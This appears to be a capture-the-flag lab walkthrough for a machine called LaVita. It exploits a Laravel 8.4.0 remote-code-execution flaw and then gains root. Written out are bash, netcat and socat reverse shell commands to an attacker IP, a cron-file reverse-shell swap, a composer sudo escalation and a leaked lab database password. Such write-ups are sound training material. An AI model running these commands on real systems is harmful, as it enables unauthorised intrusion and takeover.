LaVita

Introduction

In this walkthrough, I started by scanning the target and found that ports 22 and 80 were open. Navigating to port 80, I discovered the application was running Laravel version 8.4.0. I searched for known vulnerabilities and found a public exploit for that version, which I used to gain initial access.

During enumeration, I found a cron job being executed by a different low-privileged user. I injected a reverse shell into the cron job and gained access as that user. Further enumeration revealed that this user had sudo privileges to run the composer binary. I took advantage of this misconfiguration and escalated privileges to gain root access.

Nmap

TCP

Run a quick Nmap TCP scan:

sudo nmap -sV $IP --open

UDP

Check top 100 UDP ports:

sudo nmap -sU -F $IP

Full Port Scan

sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 22

We usually skip SSH.

Web

Port 80

• Version - Apache httpd 2.4.56 ((Debian))

searchsploit apache 2.4

No result.

• Laravel 8.4.0

Exploitation

https://github.com/nth347/CVE-2021-3129_exploit

Trying to get reverse shell:

 bash -i >& /dev/tcp/192.168.45.155/80 0>&1

/var/www/html/lavita/storage/logs/laravel.log

I tried nearly all bash reverse shell scripts I even transferred .sh and .elf scripts to the target and executed but they didn’t work, maybe there is some type of protection.

./exploit.py http://192.168.240.38 Monolog/RCE1 'which nc'

./exploit.py http://192.168.240.38 Monolog/RCE1 '/usr/bin/nc -e /bin/sh 192.168.45.155 4444'

socat file:`tty`,raw,echo=0 tcp-listen:4444 #- on Kali

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.45.155:4444 #- on victim machine

I used socat and get a fully interactive shell.

that is my user’s password nevertheless I checked it against skunk and root too.

• OSCP Checklist
  • Situational awareness
  • Exposed Confidential Information
  • Password Authentication Abuse
  • Hunting Sensitive Information
  • Sudo
  • SUID/SGID
  • Capabilities
  • Cron Jobs Abuse
  • Kernel Exploits
  • Check if sudoers file is writable
  • Try credentials you already obtained for various services admin roles

cat /var/www/html/lavita/.env

• MySQL

I couldn’t find any other interesting user in users table of lavita database:

mysql -u lavita -p

show databases;
show tables;
select * from users;

Credentials

lavita : sdfquelw0kly9jgbx92

I run linpeas

1. /var/www/html/lavita/rev.sh - checked
2. /usr/bin/write.ul (Unknown SGID binary)

Lateral Movement

I checked if rev.sh is executed either by skunk or root user but it is not, but I found another file which is executed by skunk user and we have write access to it. Run pspy to see if that file is executed on the machine:

./pspy64

This file by itself is PHP file so I am gonna delete all file content and add there Ivan Sincek PHP reverse shell from the following website:

Reverse Shell Generator

As soon as the file gets executed we receive a reverse shell.

Privilege Escalation

We are in sudo group. That means we can run any command with sudo and root password.

We can run composer without root password.

According to GTFOBins:

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x

it created a temporary folder ($TF)stores there composer.json and run script where working folder is $TF. We should execute the command exactly as it is mentioned in sudo file. Therefore, let’s create/modify composer.json under /var/www/html/lavita . * at the end means sudo file does not care about that part there can be anything.

As skunk user does not have write privileges on /var/www/html/lavita folder we shift to www-data again.

echo '{"scripts":{"x":"/usr/bin/bash -i 0<&3 1>&3 2>&3"}}' > composer.json
sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x

It returned some weird errors with sh so I changed to netcat reverse shell.

echo '{"scripts":{"x":"/usr/bin/nc -e /bin/sh 192.168.45.155 4445"}}' > composer.json

Now we are root!

Mitigation

• Keep Laravel and all dependencies updated to patch known vulnerabilities like those in version 8.4.0.
• Secure cron jobs: Avoid having writable or user-editable cron jobs without proper access controls.
• Restrict sudo access to only necessary binaries, and avoid allowing execution of interpreters or package managers like composer via sudo.
• Apply the principle of least privilege to both users and services.
• Monitor cron jobs and system logs for unauthorized modifications or execution patterns.